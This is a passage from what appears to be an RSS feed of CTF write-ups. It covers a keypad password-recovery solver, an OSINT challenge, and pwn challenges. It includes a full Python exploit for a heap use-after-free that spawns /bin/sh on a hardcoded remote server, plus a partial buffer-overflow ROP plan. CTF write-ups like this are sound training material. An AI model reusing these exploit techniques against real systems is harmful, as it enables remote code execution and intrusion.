ebx ^= a<br>            edx = add(esi, 2)<br>            esi = add(esi, 1)<br>            ebx = rol(ebx, edx)<br>            ebx = add(ebx, mul(edi, 0x1021) ^ 0x9E3779B9)<br>            if edi == 3:<br>                break<br>        return ebx &amp; 0xFFFFFF<br><br>    def target24(self, i: int) -&gt; int:<br>        v = self.a0[i] ^ self.a1[i]<br>        v ^= rol(self.a2[i], i + 9)<br>        v ^= self.f13480(i)<br>        return v &amp; 0xFFFFFF<br><br>    def f13950(self, i: int) -&gt; int:<br>        v = mul(i + 3, 0x1B873593)<br>        v = add(self.table(i + 8), v)<br>        t = rol(self.table(i + 12), (i + 17) &amp; 31)<br>        return (v ^ t) &amp; 0xFFFF<br><br>    def target16(self, i: int) -&gt; int:<br>        return (self.w0[i] ^ self.w1[i] ^ self.f13950(i)) &amp; 0xFFFF<br><br>    def check24_from_digit(self, i: int, d: int) -&gt; int:<br>        # Lift of the per-character function at 0x140013630.<br>        r14 = 0x1021<br>        r13 = add(i, 9)<br>        r15 = add(i, 7)<br><br>        ebx = add(d, 0x30)<br>        ebx ^= rol(self.table(i + 1), i)<br>        ebx = add(ebx, self.table(i + 3))<br>        ebx = sub(ebx, self.table(i + 5) | 0x13579BDF)<br>        edi_sum = add(d, i)<br>        esi = add(d, 2)<br>        ebx ^= mul(i + 1, 0x9E3779B9)<br>        ebx = add(ebx, rol(self.table(i + 9), (edi_sum + 7) &amp; 31))<br><br>        state = ebx<br>        counter = 0<br>        while True:<br>            r8 = add(i, counter)<br>            a1 = self.table(r8)<br>            local20 = self.table(r13 - 5)<br>            b = self.table(r13)<br>            shift = ((i ^ counter) + 3) &amp; 31<br><br>            tmp = rol(state, shift)<br>            tmp ^= a1<br>            tmp = add(tmp, ror(local20, sub(esi, 1)))<br>            counter = add(counter, 1)<br>            tmp = add(tmp, mul(add(i, counter), r14))<br>            tmp ^= add(b, (mul(r8, 0x01010101) ^ 0xA5A5A5A5))<br>            tmp = add(tmp, a1 &amp; local20)<br><br>            old_r15 = r15<br>            r13 = add(r13, 1)<br>            r14 = add(r14, 0x33)<br>            r15 = add(r15, 5)<br><br>            tmp = ror(tmp, old_r15 &amp; 31) ^ rol(add(a1, b), esi)<br>            tmp = add(tmp, mul(add(esi, 3), 0x1F123BB5))<br>            esi = add(esi, 1)<br>            state = tmp<br>            if counter == 8:<br>                break<br><br>        state ^= 0x6D2B79F5<br>        state = add(state, rol(self.table(i + 6), 11))<br>        state = sub(state, ror(self.table(i + 0xE), 13))<br>        return state &amp; 0xFFFFFF<br><br>    def check16_from_digit(self, i: int, d: int, value24: int) -&gt; int:<br>        # Lift of 0x140013fa0, then the caller combines it with value24 &gt;&gt; 7.<br>        r13 = add(i, 0x9E37)<br>        r11 = mul(i + 7, 0x1021)<br>        r12 = add(d, 1)<br>        v = add((d ^ 0xA5), r11)<br>        v ^= ror(value24, (i + 3) &amp; 0xF)<br>        v = add(v, self.table(i + 10))<br><br>        ebx = add(i, 1)<br>        edi = v<br>        esi = 0<br>        while True:<br>            ebp = ebx<br>            ebx = add(ebx, 1)<br>            r14 = add(esi, r12)<br>            esi = add(esi, 1)<br>            t = add(self.table(ebx), self.table(ebp + 6))<br>            t = rol(t, r14)<br>            edi ^= t<br>            edi = add(edi, mul(esi, r13))<br>            edi = ror(edi, ebp)<br>            if esi == 6:<br>                break<br><br>        mixed16 = edi &amp; 0xFFFF<br>        return (mixed16 ^ ((value24 &gt;&gt; 7) &amp; 0xFFFF)) &amp; 0xFFFF<br><br>    def rolling_check(self, password: str) -&gt; int:<br>        ebp = 0x9F3C4A11<br>        for i, ch in enumerate(password):<br>            d = ord(ch) - ord(&quot;0&quot;)<br>            a = self.check24_from_digit(i, d)<br>            b = self.check16_from_digit(i, d, a)<br>            ebp = add(rol(ebp, 5), a ^ mul(i + 1, 0x1000193))<br>            ebp ^= add(b, mul(i + 3, 0x045D9F3B))<br>        return ebp<br><br>    def secondary_hash(self, password: str) -&gt; int:<br>        # Lift of 0x1400139b0.<br>        r11 = 0x71337A5B<br>        r12 = 0<br>        for i, ch in enumerate(password.encode(&quot;ascii&quot;)):<br>            v = ch ^ r12<br>            r12 = add(r12, 0x3D)<br>            v = add(r11, v)<br>            v = ror(v, 3)<br>            v ^= self.table(i)<br>            r11 = v<br>        return r11<br><br>    def solve(self, verbose: bool = False) -&gt; str:<br>        positions: list[list[int]] = []<br><br>        for i in range(PASSWORD_LEN):<br>            want24 = self.target24(i)<br>            want16 = self.target16(i)<br>            candidates = []<br><br>            for d in range(10):<br>                got24 = self.check24_from_digit(i, d)<br>                got16 = self.check16_from_digit(i, d, got24)<br>                if got24 == want24 and got16 == want16:<br>                    candidates.append(d)<br><br>            positions.append(candidates)<br>            if verbose:<br>                print(<br>                    f&quot;pos {i:02d}: target24=0x{want24:06x} &quot;<br>                    f&quot;target16=0x{want16:04x} candidates={candidates}&quot;<br>                )<br><br>        if not all(positions):<br>            raise RuntimeError(&quot;at least one position has no digit candidate&quot;)<br><br>        # Usually each position is unique. Keep a fallback for multiple candidates.<br>        for combo in itertools.product(*positions):<br>            password = &quot;&quot;.join(map(str, combo))<br>            if self.rolling_check(password) == EXPECTED_ROLL and self.secondary_hash(password) == EXPECTED_HASH:<br>                return password<br><br>        raise RuntimeError(&quot;candidate digits found, but no full password passed final checks&quot;)<br><br><br>def test_or_extract_zip(zip_path: Path, password: str, out_dir: Path | None) -&gt; None:<br>    with zipfile.ZipFile(zip_path) as zf:<br>        names = zf.namelist()<br>        if not names:<br>            raise RuntimeError(&quot;ZIP is empty&quot;)<br><br>        if out_dir is None:<br>            # Read the first member to validate the password without writing files.<br>            with zf.open(names[0], pwd=password.encode()) as fp:<br>                fp.read(1)<br>            print(f&quot;[+] ZIP password verified on: {names[0]}&quot;)<br>        else:<br>            out_dir.mkdir(parents=True, exist_ok=True)<br>            zf.extractall(out_dir, pwd=password.encode())<br>            print(f&quot;[+] Extracted ZIP to: {out_dir}&quot;)<br><br><br>def main(argv: list[str] | None = None) -&gt; int:<br>    parser = argparse.ArgumentParser(description=&quot;Recover the keypad ZIP password from the challenge EXE&quot;)<br>    parser.add_argument(&quot;exe&quot;, type=Path, help=&quot;path to intergalactic_keypad.exe&quot;)<br>    parser.add_argument(&quot;zip&quot;, nargs=&quot;?&quot;, type=Path, help=&quot;optional encrypted ZIP to test/extract&quot;)<br>    parser.add_argument(&quot;-o&quot;, &quot;--out&quot;, type=Path, help=&quot;extract ZIP contents to this directory&quot;)<br>    parser.add_argument(&quot;-v&quot;, &quot;--verbose&quot;, action=&quot;store_true&quot;, help=&quot;print per-position candidate details&quot;)<br>    args = parser.parse_args(argv)<br><br>    model = KeypadModel(PEReader(args.exe))<br>    password = model.solve(verbose=args.verbose)<br><br>    print(f&quot;[+] password: {password}&quot;)<br>    print(f&quot;[+] rolling check: 0x{model.rolling_check(password):08x}&quot;)<br>    print(f&quot;[+] secondary hash: 0x{model.secondary_hash(password):08x}&quot;)<br><br>    if args.zip:<br>        test_or_extract_zip(args.zip, password, args.out)<br><br>    return 0<br><br><br>if __name__ == &quot;__main__&quot;:<br>    raise SystemExit(main())</pre><p>run like this and it will extract zip:</p><pre>python3 solver.py intergalactic_keypad.exe flag.zip -o extracted</pre><p>After the zip is extract inside it is an image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtHOi7cSBTCJAxSFxO_pkw.png" /><figcaption>the_boss</figcaption></figure><pre>SK-CERT{MB4_1n_Th3_D4yl1ghT_cL4rity_1n_Th3_Gr4v3}</pre><h3>26: OSINT — Target:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*paJzMPEYM3ZrvHHKUXdi_g.png" /><figcaption>Chall desc</figcaption></figure><p>The challenge provides alot of info, age and height prove to be uselss and i thinl adding them makes the challenge impossible and makes the challenge have tons of possible solutions.</p><p>We will use dorking which for some reason only works on bing and not google or any other browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apnn7I7_3ubGGr3LbX3oTQ.png" /><figcaption>dorking</figcaption></figure><p>now we find his github page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6AsYtuy8y7uwGzo5Y_cQ7Q.png" /><figcaption>github</figcaption></figure><p><a href="https://github.com/angapangaboi">https://github.com/angapangaboi</a></p><p>This is where u might lose ur sanity because this github contains tons of binaries, programs, files and so on, reversing those and digging through them gives u fake flags like:</p><pre>flag.sealed = SK-CERT{bro_sorry_again_this_is_fake} <br><br>hidden.sealed = <br>&quot;<br>I love CTFs ❤️<br>I like how some challenges are easy to solve w/ AI, but some... are not 🙁<br>for example, the challenge &quot;Twisting the truth&quot;, where Jacob was accused of twisting the truth, yet still I was not able to solve it 🙁<br>&quot;<br><br>SK-CERT{seed_was_the_secret_all_along}<br>SK-CERT{fake_hello} <br>SK-CERT{zero_width_makes_zero_noise}<br>SK-CERT{bro_sorry_again_this_is_fake}<br>SK-CERT{not_in_the_binary_keep_looking}</pre><p>but going back to the CTF plaform of the competition and searching for his user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSIFO2OvwvXDIJwrnikMQw.png" /><figcaption>user search</figcaption></figure><p>we will find he has a player account which has a website. visiting the website its a normal empty website, Back in his github there was 1 importnat piece of information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*TGxIU6aYvt_f4WpU2SRacg.png" /><figcaption>bio</figcaption></figure><p>“Apple fan” he said, so we should curl the website link using an apple user agent header, doing so gives u this image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KV7yISy4X5hYU_TiNQoAw.png" /><figcaption>flag</figcaption></figure><p>so the flag is :</p><pre>SK-CERT{1_l1k3_70_m0v3_1t_M0v3_1t_1_L1Ke_t0_M0v3_17_M0v3_1t_B4444m}</pre><p>I think the chall having this much files and useless info makes it so hard due to the infinite amount of possibilities that could lead to a flag or solve.</p><h3>Hope u enjoyed this writeup and if u did checkout other writeups and make sure to follow, repost and like this story to support!!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*hV2ioSaQAtckJufeKaBYvg.png" /><figcaption>cleared</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a27185bc721d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Catch The Hilal Ctf write up, All pwn and 1 Rev]]></title>
            <link>https://medium.com/@3mksaad1600/catch-the-hilal-ctf-write-up-all-pwn-and-1-rev-a31dd785743e?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a31dd785743e</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[firstblood]]></category>
            <category><![CDATA[pwned]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 17:19:50 GMT</pubDate>
            <atom:updated>2026-05-14T16:40:23.621Z</atom:updated>
            <content:encoded><![CDATA[<p>Author : 3mksaad1600(Saad💛)</p><p>Hello everyone recently i participated in The Catch the Hilal Ctf organized by Jordan Cyber Club my team ended up in 7th place after holding onto first for a long while, And scored 4first bloods, 2 on DFIR challs by <a href="https://medium.com/u/a824c3928297">Nova0x</a> and 1 on crypto by <a href="https://medium.com/u/a824c3928297">Nova0x</a> Again, and the last one i scored on the Rev chall Debug2, it was a fun experience as a Rev/Pwn/malware specialist i dove into the Reverse engineering and Pwn challenges and managed to clear them all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYIoU8H1podM9fH_uFjCmw.png" /><figcaption>Solved challs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8grLsDHhbQF4s4czUuL1nA.png" /><figcaption>score</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQ4ZjKPzJNV3B2wet0NQSw.png" /><figcaption>Final team score</figcaption></figure><p>And so i bring u a detailed step by step write up for All pwn challs and some Rev, buckle up!!</p><h3>1:Bank Al-Ummi:</h3><h4>Category: Pwn</h4><h4>Difficulty: Easy</h4><h4>Flag format : JCChilal{…}</h4><h4>Description : Mother has launched a trusted family banking system for Eid and promises every dinar is stored in a safe place.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*lzvFxVSr4FpMe0MZQRn_7w.png" /><figcaption>Challenge description</figcaption></figure><h3>Challenge Overview:</h3><p>The Bank Al-Ummi challenge presents a classic heap exploitation scenario within a 64-bit Linux ELF executable named bank. The provided files include the bank binary and the corresponding libc.so.6 library. The primary objective is to exploit a remote banking server application to achieve remote code execution, spawn a shell, and capture the flag.</p><p>Binary Specifications:</p><blockquote>•Architecture: Linux ELF 64-bit LSB executable</blockquote><blockquote>•Environment: GLIBC 2.35 (Ubuntu 22.04)</blockquote><h3>Binary Protections:</h3><p>Before diving into reverse engineering, it is crucial to understand the memory protections enabled on the binary. Running <strong><em>checksec </em></strong>reveals the following security features:</p><blockquote>• RELRO (Relocation Read-Only): Full RELRO. This means the Global Offset Table (GOT) is entirely read-only, preventing GOT overwrite attacks.</blockquote><blockquote>• Stack Canary: Enabled. This protects against classic stack buffer overflows by placing a randomized value before the return address on the stack.</blockquote><blockquote>• NX (Non-Executable): Enabled. The stack and heap are marked as non-executable, preventing the execution of injected shellcode.</blockquote><blockquote>• PIE (Position Independent Executable): Disabled. The base address of the executable is fixed and predictable across executions, which significantly simplifies the exploitation process by providing known addresses for binary sections like the BSS and data segments.</blockquote><h3>Reverse Engineering &amp; Vulnerability Analysis:</h3><p>The target application simulates an interactive banking service, providing a menu to manage deposits, referred to as “Eidiya”. By reverse engineering the <strong><em>chall </em></strong>ELF binary, we can analyze the main menu’s options and their underlying logic.</p><h4>Menu Options:</h4><p>1: Deposit Eidiya: This option allows the user to create a new deposit. It requests an index (account ID) and checks if the requested allocation size is restricted to a maximum of 0x5ff. It then allocates a dynamic memory chunk using malloc. The application maintains a global array of structures named notes to represent accounts. Each structure is 0x18 bytes in size and contains three fields: a pointer ptr (8 bytes), a size (8 bytes), and an in_use flag (4 bytes) which is set to 1 upon allocation.</p><p>2: Update deposit note: This option allows the user to modify an existing deposit. It requests an index and a size, then uses a custom read_exact function to read data from the socket directly into the destination pointed to by notes[x].ptr. Critically, it only validates whether notes[x].ptr != 0 and completely fails to verify the in_use flag.</p><p>3: View deposit: This option allows the user to view the contents of a deposit. It uses the write system call to dump memory from notes[x].ptr up to the requested size. Similar to the update option, it only checks if the pointer is not null and misses any check on the in_use flag.</p><p>4: Cancel deposit: This option allows the user to delete a deposit. It executes free(notes[x].ptr) to release the allocated memory back to the heap and clears the in_use flag to 0.</p><p>5: Check receipt: This option interacts with a globally allocated vault pointer located at 0x404048. This pointer was populated at startup with a 0x80 byte heap chunk. The function executes a function pointer located at offset 0 of this chunk, supplying the data at offset 8 as the first argument (rdi).</p><h3>The Vulnerability:</h3><p>The core vulnerability lies within the Cancel deposit option. While it correctly frees the allocated memory and clears the in_use flag, it crucially fails to nullify the actual pointer (notes[x].ptr) within the global array. This oversight leaves a dangling pointer, leading to a classic Use-After-Free (UAF) vulnerability.</p><p>Because the dangling pointer remains accessible, we can leverage the other menu options to achieve two powerful primitives:</p><p>•UAF Read: By using the View deposit option on a freed chunk, we can read the residual data left in the chunk, which is essential for leaking memory addresses.</p><p>•UAF Write: By using the Update deposit note option on a freed chunk, we can freely edit its contents, allowing us to corrupt heap metadata.</p><h3>Exploit Development Step-by-Step:</h3><h4>Step 1: Defeat Tcache Safe Linking (Leak the Heap Base):</h4><p>The provided libc.so.6 matches GLIBC 2.35 (Ubuntu 22.04). In this version, the tcache (thread-local caching) mechanism enforces safe-linking to protect the single-linked list of freed chunks. A freed chunk’s fd (forward) pointer is mangled using the following formula: fd = next ^ (pos &gt;&gt; 12), where next is the address of the next chunk in the bin, and pos is the address of the chunk itself.</p><p>To defeat safe-linking, we need to leak a mangled pointer and deduce the heap base address.</p><ol><li>We allocate two chunks of the same size, let’s call them Chunk 0 and Chunk 1.</li></ol><p>2. We free Chunk 1, followed by Chunk 0. The tcache bin chain now looks like this: Chunk 0 -&gt; Chunk 1.</p><p>3. Because Chunk 1 is at the end of the tcache bin, its next pointer is strictly absolute NULL (0).</p><p>4. Therefore, its mangled tcache fd pointer becomes 0 ^ (Chunk 1 Addr &gt;&gt; 12) = Chunk 1 Addr &gt;&gt; 12.</p><p>5. We use our UAF Read primitive on Chunk 1 to leak this 8-byte value. By safely left-shifting the leaked value 12 times (heap_leak &lt;&lt; 12), we can unmask the precise heap_base address.</p><h4>Step 2: Tcache Poisoning (Arbitrary Allocation):</h4><p>With the unmasked heap base address, we can now craft a correct safe-linking pointer to map a chunk to any specific target address. Our goal is to seize control of the global notes array, which lies statically at 0x404060 due to the disabled PIE protection.</p><p>1.We compute the poisoned pointer value required to target the notes array: fd_to_write = 0x404060 ^ (heap_base &gt;&gt; 12).</p><p>2.Utilizing our UAF Write primitive on Chunk 0 (which currently resides at the head of the tcache list), we overwrite its 8-byte fd field with our malicious poisoned pointer.</p><p>3.The tcache manager now essentially believes that the secondary available memory block in the bin is located at 0x404060.</p><p>4.We execute the Deposit Eidiya option twice. The first allocation fetches our tainted Chunk 0. The second allocation forces malloc to return our target address, 0x404060.</p><p>5.The binary stores this returned pointer back into the notes global array. This allows us to fabricate our own distinct Note Structure directly into memory, targeting Slot 0 of the array.</p><h4>Step 3: Leaking Libc Base:</h4><p>Now that we command notes[0], we can fabricate a counterfeit chunk directly over the notes[0] boundaries. We set its contents to:ptr = read@GOT (0x403fe0), size = 0x100, in_use = 1.</p><p>Because Full RELRO resolves all GOT properties at load-time, the GOT entry for read contains the actual runtime address of the read function within GLIBC.</p><ol><li>We trigger the View deposit option on Index 0.</li></ol><p>2. The application dumps the dynamically resolved address of the read() function.</p><p>3. By subtracting the known offset of read within the provided libc (read_leak — 0x114850), we yield the libc_base address.</p><p>4. With the libc_base known, we can calculate the memory map position of GLIBC’s system() function at libc_base + 0x50d70.</p><h4>Step 4: Gaining Code Execution:</h4><p>We currently possess the libc_base address and the ability to write anywhere in memory by manipulating the notes array. Our final goal is to achieve code execution.</p><ol><li>We update notes[0] again, this time inserting the expected address of the global vault_chunk. Since this chunk was instantiated at the very beginning of the program’s lifespan, its address securely sits at a predictable offset from the heap base: heap_base + 0x2a0.</li></ol><p>2. Now notes[0].ptr targets the vault_chunk. We engage the Update deposit note option on Index 0 to write directly into that heap chunk.</p><p>3. We architect a binary payload to overwrite the vault structure. We set the first 8 bytes (vault-&gt;action, the function pointer) to the address of system(), and the subsequent string bytes (vault-&gt;receipt, the argument) to the string b’/bin/sh\x00&#39;.</p><p>4. Lastly, we select the Check receipt option. The application loads the corrupted vault chunk and natively fires vault-&gt;action(vault-&gt;receipt). This executes our hijacked function parameter, calling system(‘/bin/sh’) and spawning a remote shell on the server.</p><h3>Final Python Solver:</h3><p>The following Python script automates the exploitation process described above.</p><pre>import socket<br>import struct<br>import time<br><br># Establish connection to the remote server<br>s = socket.socket()<br>s.connect((&#39;209.74.79.65&#39;, 10061))<br><br># Helper functions for packing and unpacking 64-bit integers<br>def p64(val): return struct.pack(&#39;&lt;Q&#39;, val)<br>def u64(val): return struct.unpack(&#39;&lt;Q&#39;, val.ljust(8, b&#39;\x00&#39;))[0]<br><br># Helper function to read until a specific delimiter is received<br>def readuntil(delim):<br>    res = b&quot;&quot;<br>    while not res.endswith(delim):<br>        c = s.recv(1)<br>        if not c: break<br>        res += c<br>    return res<br><br># Initial prompt read<br>readuntil(b&#39;&gt; &#39;)<br><br># Wrapper function for the &#39;Deposit Eidiya&#39; option<br>def alloc(idx, size, content=None):<br>    s.sendall(b&#39;1\n&#39;)<br>    readuntil(b&#39;id: &#39;)<br>    s.sendall(str(idx).encode() + b&#39;\n&#39;)<br>    readuntil(b&#39;size: &#39;)<br>    s.sendall(str(size).encode() + b&#39;\n&#39;)<br>    <br>    readuntil(b&#39;size: &#39;)<br>    if content:<br>        s.sendall(str(len(content)).encode() + b&#39;\n&#39;)<br>        s.sendall(content + b&#39;\n&#39;)<br>    else:<br>        s.sendall(b&#39;0\n&#39;)<br>    readuntil(b&#39;&gt; &#39;)<br><br># Wrapper function for the &#39;Update deposit note&#39; option<br>def edit(idx, size, content):<br>    s.sendall(b&#39;2\n&#39;)<br>    readuntil(b&#39;id: &#39;)<br>    s.sendall(str(idx).encode() + b&#39;\n&#39;)<br>    readuntil(b&#39;size: &#39;)<br>    s.sendall(str(size).encode() + b&#39;\n&#39;)<br>    if size &gt; 0:<br>        readuntil(b&#39;note:&#39;)<br>        time.sleep(0.1)<br>        s.sendall(content + b&#39;\n&#39;)<br>    readuntil(b&#39;&gt; &#39;)<br><br># Wrapper function for the &#39;View deposit&#39; option<br>def view(idx, size):<br>    s.sendall(b&#39;3\n&#39;)<br>    readuntil(b&#39;id: &#39;)<br>    s.sendall(str(idx).encode() + b&#39;\n&#39;)<br>    readuntil(b&#39;size: &#39;)<br>    s.sendall(str(size).encode() + b&#39;\n&#39;)<br>    res = s.recv(size)<br>    readuntil(b&#39;&gt; &#39;)<br>    return res<br><br># Wrapper function for the &#39;Cancel deposit&#39; option<br>def free(idx):<br>    s.sendall(b&#39;4\n&#39;)<br>    readuntil(b&#39;id: &#39;)<br>    s.sendall(str(idx).encode() + b&#39;\n&#39;)<br>    readuntil(b&#39;&gt; &#39;)<br><br># 1. Tcache setup (Increase count, form links)<br>alloc(0, 0x18)<br>alloc(1, 0x18)<br><br>free(1)<br>free(0)<br><br># Leak heap base to defeat safe-linking<br>heap_leak = u64(view(1, 8))<br>heap_base = (heap_leak &lt;&lt; 12)<br>print(f&quot;Heap leak: {hex(heap_leak)}&quot;)<br>print(f&quot;Heap base: {hex(heap_base)}&quot;)<br><br># 2. Poison Tcache to target the global notes array<br>Target = 0x404060<br>fd_to_write = Target ^ (heap_base &gt;&gt; 12)<br>edit(0, 8, p64(fd_to_write))<br><br>alloc(3, 0x18)<br><br># Fabricate a note structure targeting a known address (vault pointer)<br>fake_note = p64(0x404048) + p64(0x100) + struct.pack(&#39;&lt;I&#39;, 1)<br>alloc(2, 0x18, fake_note.ljust(0x18, b&#39;\0&#39;))<br><br># 3. Leak Vault pointer to dynamically ensure exact offset<br>vault_ptr = u64(view(0, 8))<br>print(f&quot;Vault ptr leak: {hex(vault_ptr)}&quot;)<br><br># Leak read@got to determine libc base<br>fake_note2 = p64(0x403fe0) + p64(0x100) + struct.pack(&#39;&lt;I&#39;, 1)<br>edit(2, 0x18, fake_note2.ljust(0x18, b&#39;\0&#39;))<br>read_leak = u64(view(0, 8))<br>print(f&quot;Read leak: {hex(read_leak)}&quot;)<br><br>libc_base = read_leak - 0x114850<br>system = libc_base + 0x50d70<br>print(f&quot;Libc base: {hex(libc_base)}&quot;)<br>print(f&quot;System: {hex(system)}&quot;)<br><br># 4. Modify notes[0] to point to the vault chunk<br>fake_note3 = p64(vault_ptr) + p64(0x100) + struct.pack(&#39;&lt;I&#39;, 1)<br>edit(2, 0x18, fake_note3.ljust(0x18, b&#39;\0&#39;))<br><br># 5. Overwrite the vault chunk with system() and &#39;/bin/sh&#39;<br>edit(0, 0x18, (p64(system) + b&#39;/bin/sh\x00&#39;).ljust(0x18, b&#39;\0&#39;))<br><br># 6. Trigger &#39;Check receipt&#39; to call system(&#39;/bin/sh&#39;)<br>s.sendall(b&#39;5\n&#39;)<br>print(&quot;Enjoy shell!&quot;)<br><br># Post exploitation flag extraction<br>s.sendall(b&#39;cat *flag* /flag* ./*run* ./*flag* 2&gt;/dev/null\n&#39;)<br>time.sleep(1)<br>try:<br>    res = s.recv(4096)<br>    print(&quot;FLAG:&quot;, res.decode(&#39;utf-8&#39;, &#39;ignore&#39;))<br>except Exception as e:<br>    print(&quot;Error receiving flag:&quot;, e)</pre><h3>The Flag:</h3><p>Upon successful execution of the exploit script, the server yields the following flag:</p><blockquote>JCCHilal{m0m_s4id_1t_w4s_1n_4_s4f3_pl4c3}</blockquote><h4>Onto the next challenge!!!</h4><h3>2. Garden Sim:</h3><h4>Category: Pwn</h4><h4>Difficulty: Easy</h4><h4>Flag format : JCChilal{…}</h4><h4>Description : A vast garden stretches before you in the morning mist. Eight rare plants lie hidden among the plots. The legendary Golden Seed awaits a worthy gardener… Can you unlock the seed’s ancient power?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*uWeZLVxTUoC6I_7Inwbd-A.png" /><figcaption>Challenge Description</figcaption></figure><h3>Challenge Overview:</h3><p>The challenge involves interacting with a remote service and exploiting vulnerabilities in the provided garden ELF binary.</p><p>Service Details:</p><p>•Connection: nc 209.74.79.65 10069</p><ul><li>Provided Files: garden (ELF binary), chall.c (Source code), libc.so.6</li></ul><h3>Binary Protections:</h3><p>While checksec output for this specific binary was not provided, analysis of the source code and the exploitation strategy implies the presence of common protections. The key protection relevant to this challenge is:</p><p>•PIE (Position Independent Executable): Enabled. The base address of the executable is randomized at each execution, making it necessary to leak an address from the binary to calculate offsets. This is explicitly addressed in the vulnerability analysis.</p><h3>1. Vulnerability Analysis:</h3><p>Analysis of the provided chall.c source code reveals several critical vulnerabilities that can be chained together for exploitation.</p><h4>A. Information Leak (PIE Base)</h4><p>The init_garden() function, responsible for setting up the garden, contains a crucial information leak. It initializes the positions of 8 plants based on the memory address of the main function:</p><pre>void init_garden(void) {<br>    // ...<br>    unsigned long addr = (unsigned long)main;<br>    unsigned char *bytes = (unsigned char *)&amp;addr;<br><br>    for (int i = NUM_PLANTS - 1; i &gt;= 0; i--) {<br>        int x = (bytes[i] &gt;&gt; 4) &amp; 0x0F;<br>        int y = bytes[i] &amp; 0x0F;<br><br>        while (garden[y][x] != 0) {<br>            x = (x + 1) % GRID_SIZE;<br>            if (x == 0) y = (y + 1) % GRID_SIZE;<br>        }<br><br>        garden[y][x] = i + 1;<br>    }<br>}</pre><p>Each byte of the main function’s address is used to derive a coordinate (x, y) on a $16 \times 16$ grid. Since the grid can be surveyed by the user using the map command, the positions of these plants directly leak all 8 bytes of the main function’s address. By subtracting the fixed offset of main within the ELF binary (which can be determined from the symbol table), we can precisely calculate the PIE base address.</p><h4>B. Buffer Overflow:</h4><p>The inspect_seed() function is vulnerable to a classic buffer overflow. The relevant code snippet is:</p><pre>void inspect_seed(void) {<br>    char code[0020]; // Octal 0020 is 16 bytes decimal<br>    // ...<br>    if (fgets(code, PASSCODE_MAX, stdin) == NULL) { // PASSCODE_MAX is 0x20 (32)<br>        return;<br>    }<br>    // ...<br>}</pre><p>The code buffer is allocated for 16 bytes. However, fgets is instructed to read up to PASSCODE_MAX (0x20, or 32) bytes. This discrepancy allows an attacker to write past the end of the code buffer. Specifically, this overflow permits overwriting:</p><p>•The saved RBP (8 bytes).</p><p>•Up to 7 bytes of the Return Address on the stack.</p><p>Given that the Return Address in a PIE-enabled binary typically has a high byte of 0x00, overwriting 7 bytes is sufficient to gain control over the instruction pointer (RIP).</p><h4>C. Data Persistence in BSS:</h4><p>The tend_garden() function, which processes user commands, inadvertently provides a mechanism for data persistence. It stores every command entered by the user in a global array named action_log:</p><pre>char action_log[MAX_MOVES][INPUT_SIZE]; // INPUT_SIZE is 8<br>// ...<br>strncpy(action_log[move_count], input, INPUT_SIZE - 1);<br>action_log[move_count][INPUT_SIZE - 1] = &#39;\0&#39;;<br>move_count++;</pre><p>Each “move” (user command) is stored as a 7-byte string in the action_log array, which resides in the BSS segment. The BSS segment is at a fixed offset from the PIE base. By sending carefully crafted 7-byte payloads as “unknown commands” (i.e., commands not recognized by the program), we can inject a ROP chain into a predictable location in memory (at action_log). This allows us to stage our ROP chain in a controlled memory region.</p><h4>D. ROP Gadgets:</h4><p>The binary conveniently includes an unused function, garden_runes(), which provides all the necessary gadgets for a syscall instruction. This function contains a series of pop instructions followed by ret, and a syscall instruction:</p><pre>void garden_runes(void) {<br>    asm volatile (<br>        &quot;pop %rdi\n\tret\n&quot;<br>        &quot;pop %rsi\n\tret\n&quot;<br>        &quot;pop %rdx\n\tret\n&quot;<br>        &quot;pop %rax\n\tret\n&quot;<br>        &quot;syscall\n\tret\n&quot;<br>    );<br>}</pre><p>These gadgets are essential for setting up the arguments for a syscall (e.g., execve) and then executing it.</p><h3>2. Exploitation Strategy:</h3><p>The exploitation strategy involves a multi-step process to bypass PIE, inject a ROP chain, and achieve code execution.</p><h4>Step 1: Leak PIE Base Address:</h4><ol><li>Connect to the server: Establish a network connection to the remote service.</li></ol><p>2. Send map command: Issue the map command to the server to retrieve the current state of the garden grid.</p><p>3. Parse plant coordinates: Extract the (x, y) coordinates for all 8 plants from the map output.</p><p>4. Reverse plant placement algorithm: Simulate the init_garden() function’s plant placement algorithm in reverse. This involves iterating through possible byte values for the main address and checking if they would result in the observed plant positions. This process allows us to recover all 8 bytes of the main function’s address.</p><p>5. Calculate PIE Base: Once the main address is known, subtract its fixed offset (e.g., 0x1f28 as indicated in the solver) to determine the PIE_BASE address. This base address is crucial for calculating the runtime addresses of all other functions and gadgets in the binary.</p><h4>Step 2: Inject ROP Chain:</h4><p>We will use the action_log array in the BSS segment to store our ROP chain. This is achieved by sending a series of “unknown commands” (which are actually parts of our ROP chain) to the server.</p><p>•Move 1: Send the string /bin/sh (exactly 7 bytes). This will be stored at action_log[0]. This string will serve as the argument for our execve syscall.</p><p>•Move 2: Send a dummy value. This will be stored at action_log[1] and will be used to align the stack during the stack pivot (specifically, it will be popped into rbp).</p><p>•Moves 3–11: Send the ROP gadgets required to perform execve(“/bin/sh”, argv, NULL). Each gadget address (or part of it) will be sent as a 7-byte string and stored sequentially in 